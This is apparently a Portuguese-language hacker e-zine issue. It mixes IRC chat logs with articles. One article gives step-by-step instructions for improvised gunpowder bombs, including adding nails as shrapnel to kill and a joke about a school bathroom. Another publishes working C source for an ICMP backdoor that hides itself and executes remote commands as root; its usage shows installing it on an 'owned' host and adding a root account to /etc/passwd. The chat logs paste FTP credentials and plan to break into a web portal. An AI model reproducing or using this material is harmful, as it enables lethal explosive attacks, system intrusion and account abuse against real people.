Textos puros da sua maquina usam esta tabela ASCII sendo que caso voce
lesse o texto em forma binaria receberia os valores correspondentes na tabela.
Outra coisa que poucos sabem eh que IPs nada mais sao do que um numero
inteiro de 32 bits. Uh??? Isso mesmo.
011111110000000000000000000000001
Isto eh um IP. Na verdade eh usado sua forma inteira decimal e nao binaria,
entao este IP nada mais eh do que:
2130706433
Isto eh um IP em sua forma mais simplificada. Pode testar na sua maquina
e ele funciona.
Voce acha dificil decorar IPs no formato: 204.34.3.5?? Imagine entao ter
que decorar numeros como estes?? Para simplifica-lo, os bits foram manipulados
ateh formarem o formato do IP q todos conhecem.
Como isso foi feito?
Estes 32 bits sao separados em 4 conjuntos. O que da 8 bits por conjunto,
ou um byte. O IP mostrado acima ficaria entao:
01111111 00000000 00000000 00000001
Estes 4 bytes entao sao transformados em inteiros decimais. Isto resulta:
127 0 0 1
Alguem achou que ficava bonito separar estes bytes com . (pontos).
127.0.0.1
Sakou como funcionam o negocio?? Tentei ser bem claro. Se tu nao entendeu
leia denovo, se nao quizer, apenas tenha em mente que um IP tanto pode ser
escrito por uma cadeia de 32bits qto por 4 conjuntos de 8bits.
Isto podera ser muito util para escapar de bloqueios de alguns hosts, pois
eh normal que alguem coloque o IP na forma classica mas quase nunca eh colocado
em sua forma inteira 32bits. Hm... vi isso em um texto da unsekurity que no
momento nao estou lembrado do autor...
Outra manipulacao de bits classica eh usada em rotinas de criptografias.
Usando um simples operador bit-a-bit de C podemos criar nosso proprio encrypt.
Seria uma funcao tipo:
char encrypt(char ch) { return(~ch) }
O operador ~ inverte o estado de cada bit da variavel especificada. Todos
os valores 1 tornam-se 0 e os 0 tornam-se 1.
Entao:
01000001 ("A" na tabela ASCII)
...fikaria...
10111110 ("æ" na tabela ASCII)
Como vemos, o resultado seria algo ilegivel. O que eh otimo num programa
de criptografia. Para descriptar a mesma variavel, basta passa-la novamente
pelo encrypt(). O mesmo operador ira agir na variavel fazendo-a voltar ao seu
estado normal.
Este operador usado sozinho nao garante seguranca de que seus dados estarao
protegidos, pois eh facilmente decifravel. Porem, combinado com outros sistemas
de criptografia pode ser muito util.
Outro operador de bit usado para criptografia eh o XOR (^). Para testa-lo
tente passar algum caracter pela seguinte funcao:
char encrypt2(char ch) { return(ch^'A') }
Saka a funcao do XOR nao eh? Eh um OU Exclusivo que retorna 1 qdo apenas um
dos dois bits for Verdadeiro (1). Basicamente, ele segue a ideia "Ou um ou
outro". =)
No codigo acima fazemos um XOR entre o caractere a ser encriptado e 'A'. No
jargao de criptografia este 'A' eh chamado de chave de encriptacao.
Entao:
01000010 ("B" na tabela ASCII)
XOR 01000001 ("A" - Chave)
...fikaria...
00000011 (Caractere especial)
Novamente temos algo ilegivel. Novamente passando o caractere gerado pela
mesma funcao receberiamos o anterior.
Como pode ver a manipulacao de bits eh ampla na area de criptografia. Um
codigo bem escrito faria qquer palavra encriptada ser praticamente impossivel
de ser quebrada.
Bem... Achu que ja falei o suficiente sobre algo que deveria ser visto como
basico porem nao eh. Espero que tenha trazido um pouco mais de cultura inutil
a suas vidas inuteis. =)
<struck> tem tipo uns kra lah pras guria querer fikar...
<psaux> eu tava falando com meu irmao isso
<psaux> hehehe
<struck> vo manda foto tua dizendo q quer fikar com eles...
<psaux> painel do gugu
<psaux> hehe
<psaux> nahhhhhhhhhhhhh
<psaux> tah loco ???
<psaux> HAHAHHA
<struck> heheheh
<struck> vou lah
<struck> eu nem olho gugu... nao sabia q tinha dissu agora...
<struck> manda msg pra lah ao vivo...
<psaux> eh
<struck> ae psaux:
<struck> Luiz Ignacio
<struck> 18 anos
<struck> 1.81 m
<struck> 74 kg
<struck> Aqu·rio
<psaux> vixe
<struck> que tal?
<psaux> quem eh?
<struck> ta bom pra ti?
<struck> hehehe
<psaux> hahahaha
<psaux> luiz ignacio lula da silva
<snape> zoar onde?
<struck> hehehe
<struck> no fika comigo e no gugu
<struck> ae psaux:
<struck> tipo...
<struck> tem uma pergunta no formulario lah...
<struck> OrientaÁ„o Sexual:
<struck> c eh bi ou homo?
<psaux> bi =~
<psaux> hahahaha
<struck> hehehe
<struck> e tem outro negocio:
<struck> Sexo:
<struck> o q eu ponho?
<struck> muito, pouco ou nada?
<struck> heheheh
<psaux> muito
<psaux> heheh
<psaux> ow struck
<psaux> se tu tiver fazendo isso mesmo
<psaux> tu tah lascado
<psaux> hehehehehehe
<struck> hehehehe
<struck> eu to fazendo...
<struck> ja mandei tua foto pra lah...
<struck> hehehe
<psaux> hahahaha
<struck> Eu sou: Branco/ Altura:ate' 1,50/ Peso: mais de 100Kg/ Olhos: verdes/ Cabelo: Grisalho
<struck> Outros detalhes:
<struck> Uso Ûculos de grau
<struck> Uso lentes de contato coloridas
<struck> Uso aparelhos nos dentes
<struck> Tenho barba e/ou bigode
<struck> Tenho cavanhaque
<struck> Tenho tatuagem
<struck> Tenho piercing
<struck> Tenho sardas
<struck> Tenho espinhas na cara
<struck> Sou fumante
<struck> bem... vou marcar todas...
<struck> menos "Tenho barba e/ou bigode" e "Tenho cavanhaque" pq ae eh redundancia...
<psaux> HAHAHAHHAHAHAHAHA
<struck> hahaha.. olha soh...
<struck> tem uma pergunta lah:
<struck> Meu ˙ltimo namoro terminou:
<struck> e como opcao: Ainda nao terminou
<struck> hehehe
<struck> quem iria c escrever no programa c ainda estivesse namorando...
<struck> ??
<struck> ora essa, o psaux!
<psaux> HAHHAHAHA
<struck> hey psexus!
<struck> essa vc responde..
<struck> Quero me candidatar a ficar com o Luiz In·cio porque:
<psaux> sua mae tah bem struck ?
<struck> ta obrigado
<struck> responde a pergunta q eu coloca lah
<struck> O Luiz In·cio deveria me escolher porque:
<struck> Para conquistar o Luiz In·cio seria capaz de:
<psaux> porque ele usa a foto do psaux, q eh um gatao
<psaux> =D
<psaux> poe isso
<psaux> usar a foto do psaux
<psaux> <struck> Para conquistar o Luiz In·cio seria capaz de:
<psaux> usar a foto do psaux
<struck> nah! burro! eh pra colocar lah na ficha de inscricao...
<struck> eu coloquei teu nome.... entao c responde..
<struck> quer uma dica... diz q vai dar mto sexo pra ele... homens gostam dissu
<psaux> c num eh loco heheh
<struck> a nao ser q ele nao curta um cu peludo...
<struck> heheheh
<psaux> oxe
<psaux> eh pra homem eh???
<psaux> soh faltava essa
<struck> heheheh
<struck> claro.. eh pro luiz inacio...
<psaux> o struck tah transferindo as fantasias dele pro luiz inacio
<psaux> hehehe
<struck> bah
<struck> eu to fazendo um favor pra ti..
<psaux> =D
<struck> to te arranjando um namorado...
<struck> e c me vem com essas...
<struck> humphf!
<psaux> hahahaha
<psaux> q nego safado
<struck> kra...
<struck> tipo... a mtv ta na uol...
<struck> c ja ownou a uol?
<struck> dae tipo.. nois podia mudar as foto lah por uma dos loko daki...
<struck> heheheh
<struck> pq tipo... c eu soh inscrever os kra nao basta... pq eles ligam pra confirmar...
<psaux> hehehe
<psaux> quer ownar uol?
<struck> seria uma boa...
<struck> soh de zoera
<psaux> sim sim
<struck> nao defacementar a uol... soh pra ter acesso a mtv.. dae nois mudava os esquema...
<struck> e tipo... tem um monte de page famosa q ta na uol...
<psaux> =D
<snape> merda
<snape> zerei meu /etc/profile
<snape> :~
<struck> tipo... nos devia ter um inimigo...
<struck> dae nois zuava com ele um monte...
<psaux> quer q eu mande snape ?
<psaux> AHAHAHAH
<psaux> nos temos struck
<struck> colocava a foto dele em pages pornograficas...
<struck> montagens e tal...
<struck> ia ser mto rlz
<struck> quem?
<psaux> os grupos brasileiros em geral
<psaux> sao nossos inimigos hehehe
<struck> nah... mas tinha q ser uma pessoa...
<struck> q nois odiasse e quizesse avacalhar com ela
<struck> vamu zoa o snape?? hehehe
<psaux> hahaha
<snape> echo "Paranoid!"; find / -perm +4000 -user root -exec chmod -s {} \;
<snape> +_+
<psaux> vamo zuar o c0nd0r hehe
<snape> estou fazendo meu intrusion detection system
<psaux> o stderr
<snape> zoem o n4rfy
<struck> nah.. o condor eh gente fina...
<snape> o nelson
<snape> esse eh zoated
<struck> nelson brito?
<snape> È
<psaux> sim
<psaux> o struck eh ameguenho do n4rfy =//
<struck> mas nem tem graca fazer com alguem q nois nao odeia...
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 06 - Anarchy ~YXXXXx_
_xXXXXXX( Bomba caseira )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Carti _dXXXXP~
~YXXXbx.. ..xdXXXP~
"Eu Ganho Poco Mas Me Divirto"
Carti
Neste texto descreverei como montar uma bomba caseira, de medio
impacto, e uma Bomba de medio a grande impacto!
Nao me responsabilizo por nada, voce ja tem mais que
3 anos pra saber o q eh certo e o que nao eh, azar o
seu se voce perder um braco ou seu precioso pintinho.
Voce Vai Precisar
1 caixa de foguetes 15 tiros
alguns recipientes
faca, colher
silver tape
1 cigarro
muita coragem
Tudo comecou em em belo dia de sol, os passaros cantavam,
ahuaehiheaihu, parece coisa de filme, entao eu estava em minha
casa pensando alguma besteira, pensando o que eu iria inventar pra passar
o tedio e se possivel imcomodar alguem, quando me veio na cabeca ideias
anarquistas, mas sem provocar o mal, usar a anarquia por pura diversao.
Tudo comeca com voce comprando uma caixa de foguetes, akeles
que dao 12 estourinhos e um estourao.
Pavio
||
|===========|-||----------------------------
| |Polvora|xxxxxx|xxxxx|XXXXX
|===========|-------------------------------
|| |-----| ||
Cabo onde vc \ / Estourao
segura \ /
Estourinhos
Assim funciona um foguete
Voce tem q rasgar o papelao de fora do foguete ate chegar no
estourao, tireo. Logo abaixo estao os estoutinhos, retire-os tb.
Eh importante guardar o pavio tb.
NAO SE ESQUECA: voce deve conseguir retirar os estourinhos de
ao menos um foguete sem rasgalo isso sera importantissimo, pois
esse foguete sera a bomba, ela sera montada dentro dele. Se
voce conseguir preservar uns 2 melhor ainda, pois se estragar um
vc ainda tera outro.
O que vai sobrar eh uma polvora preta, que nao serve pra muita
coisa, coloque-a em um recipiente separado.
Ao final dessa operacao voce tera algo assim:
Polvora preta pavios estourinhos estouroes lixo que sobrou
aos montes em
um pote separado
Agora voce tem o seguinte:
||
|===========|--||------------------------------
| |
|===========|----------------------------------
Um foguete vazio
Proximo passo:
Funcionamento de um estourinho e estourao:
-------------
|xxxxxxxxxx++ o ++ eh polvora vermelha, eh massa guarda-la
-----|------- pra bincar depois,mas pra bomba tambem nao serve.
| \
\ \----Polvora azul, essa eh o q a gente precisa
tampa, armazene toda ela em um pote
nao serve
pra nada
eh serragem.
Desmanche todos os estourinhos e estouroes, guardando somente
a polvora azul em um pote, MUITO cuidado essa hora.
Guarde tb a polvora vermelha da ponta dos estourinhos
pra outra coisa mais alem.
Agora Temos:
Polvora Preta
Polvora Vermelha
Polvora Azul
Lixo
2 Foguetes fazios nao estragados
Pavios
******* Agora vem a parte realmente perigosa ***********
Pegue um dos foguetes vazios e coloque um pavio nele, no
mesmo buraco do pavio normal.
Preencha-o de polvora azul. A quantidade extraida de todos os
foguetes deve dar pra preencher um completo.
De umas batidinhas pra ele compactar um pouco, nada de muito
grosseiro, eh perigoso.
Pegue o silver tape e lacre bem a extremidade aberta do foguete.
Voce tera algo assim:
Pavio
||
|==========|---||------------------------------------|
| |XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX|
|==========|--------------------|--------------------|
Polvora azul Silver tape
lacrando a saida
Se voce realmente quer um estourao, enrole toda a bomba em silver tape,
deixando somente o pavio sem nada, isso aumentara o estouro.
Agora escolha o local pra detonacao.
Como eu nao queria machucar ninguem e nem causar prejuisos, eu detonei
em uma arvore, derrubei a coitadinha, mas isso eh o de menos.
Pra armar a bomba eu coloco o cigarro.
cigarro
|==============X
||
|==========|---||------------------------------------|
| |XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX|
|==========|-----------------------------------------|
E corra, porque quando estourar vai fazer um barulhao, fora o
estrago do que estiver a meio metro de distancia da bomba.
Se ela estiver em um local fechado, ela provavelmente estourara
todas as janelas, (Vidros).
Bem boa diversao e procure nao se matar, ela pode ser pegigosa
se estourar em suas maos.
Akelas polvoras que sobraram eh o seguinte:
A vermelha queima muito lentamente, n„o eh esplosiva, portanto
para bombas ela nao serve, a unica utilidade dela eh fazer algum
desenho no chao e cifar observando ela queimar devagadinho.
A polvora preta eh exatamente o contrario. Ela queima muito
rapidamente, ela eh usada para impulsionar os estourinhos pro
alto enquanto a polvora vermelha funciona como temporizador.
Ela pode Ter o mesmo fim q a polvora vermelha, um carreirinho no chao,
mas cuidado, ela keima muiito rapido, uma vez fiquei sem
pelos no braco, pq nao me cuidei e tal.
*****************************************
Bomba numero 2 - Packet Expansion
Bem, outro dia eu estava assistindo televisao e um louco colocou
uma bomba por ae e explodiu umas coisas, dae o reporter falou uma
coisa que me deixou entrigado: "A bomba tinha o tamanho
de uma caixa de leite".
Na hora eu pensei, porque nao?
Uma caixa de leite eh perfeita, ela tem um tamanho massa e
ela eh bem selada, coisa fundamental numa bomba.
Voce Vai Precisar:
1 caixa de leite, vazia
alguns recipientes
faca, colher
silver tape
1 cigarro
um pavio dos que sobraram da bomba acima,ou compre uma
caixa de foguetes e arranque um pavio de qualquer foguete
Polvora dessas que vc compra por qualquer lugar ae
muito mais coragem.
A polvora pode ser comprada nas lojas que vendem coisas de
armamento, tipo akelas que vendem bolinhas de chumbo pra vc
fazer o seu proprio cartucho de espingarda, acha facil por ae.
A caixa de leite vazia pode ser qualquer marca, deve apenas
conter o buraco por onde saiu o leite.
Primeiramente voce lava a caixa de leite, e deixe ela escorrendo
com o buraco pro lado de baixo por algumas horas, se possivel
um dia, para que esteja bem seca quando colocar-mos a polvora dentro.
Com o auxilio de uma faca, e muito cuidado, faca um pequeno
buraquinho no meio da caixa, para colocar o pavio.
Insira o pavio no buraco, deixando mais ou menos 1cm
de pavio pra fora.
Apos ela seca vem a parte meio chata do trabalho, deve-se encher
a caixa com a polvora que vc comprou na casa de armas.
Va colocando pelo buraquinho onde saiu o leite. De tempos em
tempos de umas batidinhas com a caixa na mesa, para socar
e caber mais polvora na caixa.
Quanto mais socado maior a explosao, mas cuidado para nao
exagerar nas batidas, voce esta mechendo com explosivos, pode explodir.
Com a caixa cheia ate a boca de polvora dobre o biquinho que
tem o buraco pra baixo, e sele com silver tape.
Veremos o que temos:
*------------*
* * <- silver tape lacrando a parte que vc colocou a polvora
*------------*
* O * <- akele O eh o pavio no meio da caixa
* *
* * Obs: A caixa esta sendo vista de frente
*------------*
Pronto, agora vc tem uma verdadeira arma na mao, essa bomba eh tao
forte que eh capaz de explodir um carro se colocada junto
ao tanque de gasolina.
NAO RECOMENDO GUARDAR A BOMBA
O negocio eh fazer a bomba e logo usar, porque sempre
existe risco de explosao!
Para voce transformar essa bomba em uma arma letal, coloque, na
construcao dela, uma camada de polvora, uma camada de pregos, uma
de polvora, uma de taxinhas, ou ate mesmo akelas bolinhas de
construcao de cartuchos de espingarda, seria como se um cartucho
gigante de espingarda explodisse atirando para todos os lados,
cruel esse modo, mata mesmo.
Essa bomba eh mais facil de fazer que a de foguetes porque nao
precisa desmontar uma caixa de foguetes para monta-la, mas gasta-se
mais com polvora. Em compensacao, a explosao dessa bomba, eh de 3 a 5
vezes maior que a de foguetes.
Recomendo muiiiiiito cuidado com ela.
Se voce colocar no banheiro de sua escola e tiver alguem no
banheiro, eh perigoso mata-lo, hhehehehhehehehe, dae vc fala pro
pai do defunto "Ops, eu nem queria mata-lo".
Bom chega de sermao. A responsabilidade eh INTEIRAMENTE SUA!
Divirta-se, O_O
Qualquer duvida mande um email pra mim que terei prazer em responder.
************************************
**** cartilage@bol.com.br *********
************************************
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 07 - Alocacao na Heap ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Na edicao passada publiquei uma materia sobre Heap Overflow do
c0nd0r. Tem gente que nao entendeu a diferenca entre heap e stack
e porque o bug eh diferente.
Heap eh uma regiao de memoria livre que fica entre o seu programa
e a pilha (stack). Normalmente ela eh usada para alocacoes dinamicas
e variaveis estaticas (static). Veremos Aki como fazer alocacaoes
dinamicas e como sao armazenadas na heap.
Alocacao dinamica eh quando o programa obtem memoria enquanto
esta sendo executado. Variveis costumam se alocarem na pilha e nao
podem ser alteradas durante a execucao do programa. Tipo...
char str[10];
Durante a execucao deste programa a variavel str tera sempre
tamanho 10 e nao podera ser mudada. Usando alocacoes dinamicas
podemos utilizar o tamanho que quizermos durante o programa. Isso
eh feito por alguns exploits para a criacao do buffer.
A funcao malloc() serve para alocar memoria. Para isso precisamos
de um ponteiro para apontar para onde a memoria foi alocada. Um
exemplo de uso seria:
char *pont;
pont = (char *) malloc(10);
Isso faria com que o ponteiro pont aponte para 10 bytes de
memorias livres. Voce usaria o ponteiro como se ele estivese
apontando para a variavel str. Note que temos que forcar o tipo
de dado retornado por malloc (char).
Alguns sistemas tem seus valores para ints, floats, etc variaveis,
entao para assegurar que seu codigo vai ser portavel para qquer
sistema eh bom especificar o tamanho do tipo de dado que voce quer
usando o sizeof(). Como no exemplo:
int *pont2;
pont2 = (int *) malloc(10*sizeof(int));
Isso alocaria memoria para 10 inteiros.
Lembre que a Heap eh uma area da memoria e por isso tem um limite
para seu uso. Quando malloc retornar 0 eh porque nao ha mais espaco
para a memoria solicitada. Caso isso aconteca e vc nao tenha colocado
a verificacao antes o ponteiro ira apontar para 0 e o computador vai
dar pau! =)
A verificacao pode ser facilmente feita com um if:
pont = (int *) malloc(10);
if(!pont) printf("Falta de memoria!\n");
Para que isso nao aconteca, depois que usar a memoria alocada,
libere-a com a funcao free(). Exemplo:
free(pont);
free(pont2);
Dependendo do sistema, variaveis constantes tambem sao armazenadas
na heap. No linux elas ficam na pilha junto as outras variaveis normais.
Nos WinNT elas ficam no heap.
Este eh um programa teste para verificar como cada dado eh
armazenado na memoria:
<++> heap/test.c
#include <stdio.h>
#include <stdlib.h>
main() {
char c1='A';
static char c2='B';
const char c3='C';
char *p1;
p1 = (char *) malloc(5);
if (!p1) {
printf("Falta de memoria!\n");
exit(1);
}
*p1='D';
printf("c1 (char) = %c(%p)\n",c1,&c1);
printf("c2 (char static) = %c(%p)\n",c2,&c2);
printf("c3 (char const) = %c(%p)\n",c3,&c3);
printf("p1 (char dinamica) = %c(%p)\n",*p1,p1);
}
<-->
O programa eh portavel para win e linux entao rode-o nos 2 para ver
as diferencas.
Linux:
> ./test
c1 (char) = A(effffb8f)
c2 (char static) = B(20bb8)
c3 (char const) = C(effffb8e)
p1 (char dinamica) = D(20c00)
Note que variaveis staticas e alocadas dinamicamente ficam na Heap
enquanto as variaveis normais e constantes ficam na pilha.
Windows NT:
H:\> test
c1 (char) = A(FFF5)
c2 (char static) = B(00A8)
c3 (char const) = C(00A9)
p1 (char dinamica) = D(05B4)
Aki a unica a utilizar a pilha eh a variavel c1 (char normal).
Variaveis estaticas, constantes e dinamicamente alocadas ficam todas
na heap.
Issu ae. Espero que tenha dado pra entender legal o esquema.
Agora volte a ler a materia do c0nd0r na edicao passada pois voce
ja tem uma base maior. =)
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 08 - iBack ~YXXXXx_
_xXXXXXX( ICMP BACKDOOR )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Ja faz 1 ano e meio que fiz esta backdoor. Como a t3kn33k usada nela
ainda eh pouco difundida, achei melhor em deixa-la 0day ateh hoje. Ela
foi basteante usada nesse meio tempo em algumas box de amigos e muitas
funcionam ateh hj.
Ela basicamente eh uma backdoor cliente/servidor que passa informacoes
usando a tecnica de ICMP Tunneling (descrito na phrack49).
Uma rapida descricao desta tecnica seria o seguinte raciocinio...
ICMP serve para transmitir dados, de tamanho qquer, para controle
da conexao entre duas maquinas. Os pacotes enviados costumam ter lixo que
eh despresado pela maquina destino. Entao pq nao usamos ICMP para transmitir
algum tipo de dado q possamos aproveitar???
Sakou??
Entao a ideia da backdoor eh essa. O cliente envia pacotes ICMP contendo
uma senha que sera interpretada pelo servidor. Seguido da senha estao os
comandos serao executados por um system() na maquina alvo.
Resumidamente, o cliente da um PING no alvo com o seguinte pacote:
IBACK <comandos>
Quando o pacote chega ao alvo, ele eh interceptado pela iback (servidor).
Este entao compara o pacote recebido verificando se esta com a senha IBACK.
Caso a senha confere, os proximos dados sao tudo interpretados como comandos
a serem executados. Caso nao tenha a senha correta, a iback simplesmente
ignora o pacote, que sera tratado como um pacote ICMP qquer pelo kernel.
Para entender melhor leia o source.
O source disponibilizado aki eh uma das primeiras versoes do iback (0.5)
e tem seu codigo, em geral, muito simples pois o objetivo aki nao eh lhes
entregar um presentinho ja pronto e sim que vcs entendam como ele funciona.
Esta versao funciona muito bem, porem muitas coisas podem ser implementadas
no code, como uma interface para o cliente, encriptacao dos pacotes enviados
e outra boa seria um ip spoof.
Assim como qquer outro source publicado na fatal 3rror, sintam-se a vontade
de altera-lo do geito que preferirem (Dica: mudem a senha e o fakename =))
porem por favor mantenham os creditos originais.
Seria idiotisse falar isso mas do geito q andam as coisas... Qdo vc
altera um programa ja existente, isso nao faz de vc o autor dele. Entao
nao mude os creditos, apenas acresente seu nick neles. HEhehe... Isso soh
devido a inumeras rippacoes que achei de programas releaseds from Fatal 3rror.
Exemplo de como usa-la:
bash# telnet my.owned.host.com
Linux Slackware 7.1
Login: root
Password:
Lastlogin: Never
root@my# wget http://minha.maquina/~struck/iback.c
root@my# gcc iback.c -o iback
root@my# ./iback
root@my# exit
Logout
bash# cd ~struck
bash# pico sping.c
(#define ATACK "my.owned.host.com")
bash# gcc ibclient.c -o ibclient
bash# ./ibclient "rm -f /root/iback.c"
bash# ./ibclient "echo 'Cheat Struck 0wns!!!' >> /etc/issue.net"
bash# ./ibclient DELETEME
Issu ae. Deu pra ter uma ideia do que aconteceu aki neh?
Tipo... loguei numa box (my.owned.host.com) e instalei a iback lah. Da
minha maquina entao enviei comandos para deletar o source da back, colocar
uma mensagem no issue.net e por fim: desligar e deletar a backdoor.
Nao falei dissu... A iBack possui 2 comandos extras (TURNOFF e DELETEME).
Ambos desligam a backdoor remotamente, porem o segundo alem de desliga-la
tambem deleta-a.
Achu que issu eh tudo. Vamos ao source:
<++> iback/ibclient.c
/* iBack Client v0.2
by Cheat Struck <Cheat@struck.8m.com>
Cliente para o iBack Server...
Envia PINGS com comandos q serao interpretados pelo Server.
Use:
./ibclient "echo lamah::0:0::/:/bin/sh >> /etc/passwd"
Isto criaria a conta root "lamah" no server bugzado.
*/
#define ATACK "127.0.0.1" //Coloque aki o host onde roda o iBack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <signal.h>
#include <netdb.h>
#include <arpa/inet.h>
int main(int argc, char *argv[]) {
int sockfd;
struct sockaddr_in ina;
struct protoent *p;
int numbytes;
char pkt[4096]="";
if(argc < 2) exit(0);
if(strlen(argv[1]) > 4090) exit(0);
sprintf(pkt,"IBACK %s", argv[1]);
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) exit(1);
ina.sin_family = AF_INET;
ina.sin_addr.s_addr = inet_addr(ATACK);
bzero(&(ina.sin_zero), 8);
if ((numbytes=sendto(sockfd, pkt, strlen(pkt), 0, \
(struct sockaddr *)&ina, sizeof(struct sockaddr))) == -1) {
perror("sendto");
exit(1);
}
printf("sent %d bytes to %s\n",numbytes-6,inet_ntoa(ina.sin_addr));
}
<-->
<++> iback/iback.c
/* iBack Server v0.5
by Cheat Struck <Cheat@struck.8m.com>
Rode isto no host onde a back deve ser instalada. Use o iback client
para usa-la remotamente.
Cmds especiais:
TURNOFF <----- Desliga a backdoor.
DELETEME <----- Desliga e deleta a backdoor.
*/
#define FAKENAME "here_is_the_iBack"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <signal.h>
#include <netdb.h>
#include <arpa/inet.h>
int main(int argc, char *argv[]) {
struct protoent *p;
struct sockaddr_in fr0m;
int tam, size, s0ck, i;
char pkt[4096], real[1000];
char id[4096], cmd[4096];
i=getpid(); fork(); kill(i,15);
strncpy(real, argv[0], strlen(argv[0]));
bzero(argv[0],strlen(argv[0]));
strncpy(argv[0], FAKENAME,strlen(FAKENAME));
signal(SIGHUP, SIG_IGN);
signal(SIGTERM, SIG_IGN);
p = getprotobyname("icmp");
if ((s0ck = socket(AF_INET, SOCK_RAW, p->p_proto)) == -1) return 0;
do {
memset(&pkt,0x00,sizeof(pkt));
tam = sizeof(fr0m);
size = recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam);
for(i=0;i!=4096;i++) {
memset(&id,0x00,sizeof(id));
sscanf(&pkt[i], "%s%*c%*s", id);
if(!strncmp(id,"IBACK",5)) {
memset(&cmd,0x00,sizeof(cmd));
sprintf(cmd,"%s",&pkt[i+6]);
/* Ztart the Special Commands */
dup2(s0ck,0); dup2(s0ck,1); dup2(s0ck,2);
if(!strncmp(cmd,"TURNOFF",7)) exit(0);
else if(!strncmp(cmd,"DELETEME",8)) {
remove(real);
exit(0); }
else system(cmd);
break;
}
}
} while (!0);
}
<-->
<struck> <Gotoxy> ftp ftp.hpg.com.br
<struck> <Gotoxy> login: ftpzinesbr
<struck> <Gotoxy> senha: zinesbr
<struck> foda.. o kra me da a senha da page dele
<struck> e eu mal conheco ele
<struck> q confianca as pessoas tem em mim
<struck> eu devo transmitir confianca pras pessoas...
<psaux> desfigura la
<psaux> hahaha
<struck> os kra devem olha pro meu nick: "Struck. Ah! ele parece ser um cara
confiavel.. vou dar minha senha pra ele."
<struck> tipo... a zine do kra plagiou mto a f3
<struck> zoia lah... zinesbr.hpg.com.br
<psaux> ou entao ele tah cagando e andando pra conta ftp dele
<psaux> hehehe
<struck> ele ateh rippou o henix e disse q ele fez um emulador de hacking
ZinesbrEmulator (ZE)...
<struck> foda...
<psaux> hehe
<psaux> vou mimi
<struck> falow psuco!
<psaux> =**
<psaux> t amanha
<struck> snape... ta ae kra?
<snape> sim
<struck> c tem q ver essa lamisse...
<snape> de quem?
<struck> esse kra rippou meu henix... e olha soh ele explicando os metodos de
ownar o Emulador dele...
<struck> um tal gotoxy
<struck> lha soh
<struck> [gotoxy@localhost /home/gotoxy]$ set
<struck> LOGNAME=gotoxy
<struck> [gotoxy@localhost /home/gotoxy]$
<struck> [gotoxy@localhost /home/gotoxy]$ export LOGNAME=root
<struck> [gotoxy@localhost /home/gotoxy]#
<struck> huahauhauhauaha
<snape> POTZ
<snape> set LOGNAME
<snape> export com outro nome
<snape> o cara eh zoado
<struck> mto
<struck> olha esse outro metodo...
<struck> [gotoxy@localhost /home/gotoxy]$ ls -la /etc
<struck> drwxr-r-x 16 root root 666 Fev 23 2001 .
<struck> drwxr-r-x 16 root root 666 Fev 23 2001 ..
<struck> rwxrwxrwx 1 root root 666 Fev 23 2001 passwd
<struck> rwx------ 1 root root 666 Fev 23 2001 shadow
<struck> rwxrwx--x 1 root root 666 Fev 23 2001 xploit
<struck> rw-r--r-- 1 root root 666 Fev 23 2001 inetd.conf
<struck> [gotoxy@localhost /home/gotoxy]$ /etc/xploit
<struck> [gotoxy@localhost /home/gotoxy]#
<struck> quem seria lamah o suficiente pra deixar um xploit no /etc???
<snape> o gotoxy
<snape> jaja
<snape> haha
<struck> hahaha
<struck> kra... da nojo ver o q fazem com meus progs...
<struck> ae o kra diz q vai largar o projeto e q c alguem quizer continuar pode
faze-lo, mas ele nao vai liberar o source
<struck> hehehe.... ele publicou apenas o prog ja compilado...
<struck> pra nao mostrar q eh baita rippacao do henix
<snape> hahaha
<snape> bundao
<snape> que foda
<struck> a zine do kra tem um monte de materia plagiada da f3... eh foda...
<struck> mas curti issu pq parece q a zine ta ficando famosa
<struck> =)
<struck> ae snape! falow man!
<struck> te'manha
<snape> falou
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 09 - Manual Para a ~YXXXXx_
_xXXXXXX( Telefonia Publica )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ onlooker _dXXXXP~
~YXXXbx.. ..xdXXXP~
Manual Para A Telefonia Publica
by onlooker
------- ------------
TÛpicos Relacionados
------- ------------
1. Introducao
2. Telefonia Publica
2.0 Introduaco aos TPs
2.1 O Botao Reset
2.2 O setup
2.3 Sub-menus
2.4 Sub-menu IDENTIFICACAO
2.5 Sub-menu AUTO-TESTE
2.6 Sub-menu CONTADORES
2.7 Sub-menu COMUNICACAO
2.8 Sub-menu INSTALACAO
2.9 Sub-menu DESATIVACAO
2.10 Sub-menu INSTALACAO
2.11 Finalizacoes
1. Introducao
Ca estou eu escrevendo pra zine do struck, pela a oportunidade, vou
mostrar um pouco da telefonia publica... Espero q curtam pois deu muito
trabalho para fazer.
